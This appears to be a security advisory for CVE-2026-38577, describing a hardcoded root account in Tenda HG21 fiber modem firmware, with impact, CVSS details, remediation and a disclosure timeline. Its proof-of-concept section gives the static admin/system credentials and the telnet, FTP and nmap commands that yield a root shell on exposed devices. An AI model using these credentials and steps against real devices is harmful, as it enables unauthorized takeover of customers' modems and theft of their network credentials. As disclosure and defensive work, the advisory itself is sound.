Tenda HG21 Hardcoded Root Credentials

# CVE-2026-38577 — Tenda HG21 Hardcoded Root Credentials
    
    ## Summary
    
    | Field | Value |
    |---|---|
    | **CVE ID** | CVE-2026-38577 |
    | **Vendor** | Tenda |
    | **Product** | Tenda HG21 (XPON Fiber Modem) |
    | **Affected Version** | V4.0.0-260302 |
    | **Product Key** | HG21-V1.0-TDE01 |
    | **Hardware Version** | V1.0 |
    | **Firmware Build Date** | 2026-03-02 |
    | **Firmware File** | `US_HG21re_300002982_en_xpon_2.zip` |
    | **Vulnerability Class** | CWE-798: Use of Hard-coded Credentials |
    | **Discoverer** | Anmol Singh Rajput — Independent Security Researcher |
    | **Disclosure Status** | Vendor not yet notified at time of CVE reservation — 90-day responsible disclosure timeline applies from CVE assignment date |
    
    ## Description
    
    Firmware analysis of the Tenda HG21 XPON fiber modem revealed a hardcoded
    administrative account baked into the shipped firmware image. The account
    is granted full root privileges (UID 0) and its credentials are static
    across devices, meaning any attacker who can reach an exposed management
    service on a vulnerable unit can authenticate as root without needing to
    know the customer-set web-UI password.
    
    ### Where it was found
    
    - `/etc/passwd` in the extracted firmware ships an `admin` entry with a
      SHA256crypt password hash that resolves to the static value `system`.
    - The account's UID is `0` — i.e., it *is* root, not a restricted service
      account.
    - No `/etc/shadow` is present, so the weak/static hash in `passwd` is the
      only gate protecting the account.
    - `/etc/inetd.conf` starts `telnetd` and `ftpd`, both spawned as root, so
      the hardcoded account is reachable over the network, not just on a
      serial/UART console.
    - The web management interface is served over plain HTTP only (no TLS),
      which is a secondary hardening gap but not itself the CVE.
    
    ## Impact
    
    An attacker with network access to a vulnerable device's telnet (TCP/23)
    or FTP (TCP/21) service can log in as `admin` using the static password
    and obtain a root shell / root-level file access. This allows, at minimum:
    
    - **Code execution** — root shell via telnet.
    - **Privilege escalation** — no privilege boundary exists; the account
      starts at root.
    - **Information disclosure** — full filesystem/config access, including
      any customer network credentials stored on the device.
    
    CVSS vectors from the original submission (vendor scoring may differ once
    published):
    
    - Attack Vector: Network
    - Privileges Required: None (credentials are hardcoded/known)
    - User Interaction: None
    - Confidentiality / Integrity / Availability: High / High / High
    
    ## Proof of Concept
    
    This is a **credential-based** PoC — it demonstrates that the hardcoded
    account authenticates and grants root, not a memory-corruption exploit.
    Only run this against a device you own or are explicitly authorized to
    test.
    
    ### 1. Confirm the credential exists in firmware
    
    ```bash
    # Extract firmware (binwalk or vendor tool of your choice)
    binwalk -e US_HG21re_300002982_en_xpon_2.bin
    
    # Locate and inspect the passwd file
    find . -name passwd
    cat squashfs-root/etc/passwd
    # -> admin:<sha256crypt-hash-of-"system">:0:0:root:/root:/bin/sh
    ```
    
    ### 2. Confirm the service is reachable
    
    ```bash
    nmap -p 21,23 <target-ip>
    ```
    
    ### 3. Authenticate with the hardcoded account
    
    ```bash
    telnet <target-ip>
    # login: admin
    # password: system
    ```
    
    ```bash
    ftp <target-ip>
    # Name: admin
    # Password: system
    ```
    
    A successful login on either service returns a root-privileged shell/FTP
    session (`id` will report `uid=0(root)`).
    
    ## Remediation
    
    - Vendor should remove the hardcoded `admin`/`system` account entirely,
      or at minimum force a unique, per-device random password set at first
      boot (not derivable from serial number alone).
    - Disable `telnetd`/`ftpd` by default; require an explicit opt-in and
      authenticated, encrypted channel (SSH/SFTP) for remote administration.
    - Serve the management UI over HTTPS only.
    - Rotate the static credential in any already-deployed units via a
      mandatory firmware update, and force a password reset on update.
    
    ## Timeline
    
    | Date | Event |
    |---|---|
    | 2026-03-02 | Vulnerable firmware build released |
    | — | Discovered during independent firmware analysis |
    | 2026-04-09 | CVE-2026-38577 reserved via MITRE |
    | — | Vendor notification pending (90-day disclosure window from CVE assignment) |
    
    ## Credits
    
    Discovered and reported by:
    
    - **Anmol Singh Rajput** — [LinkedIn](https://www.linkedin.com/in/anmol-singh-rajput/)
    - **Deepak G** — [LinkedIn](https://www.linkedin.com/in/deepakg25/)
    
    ## References
    
    - https://www.tenda.com.cn
    - https://cwe.mitre.org/data/definitions/798.html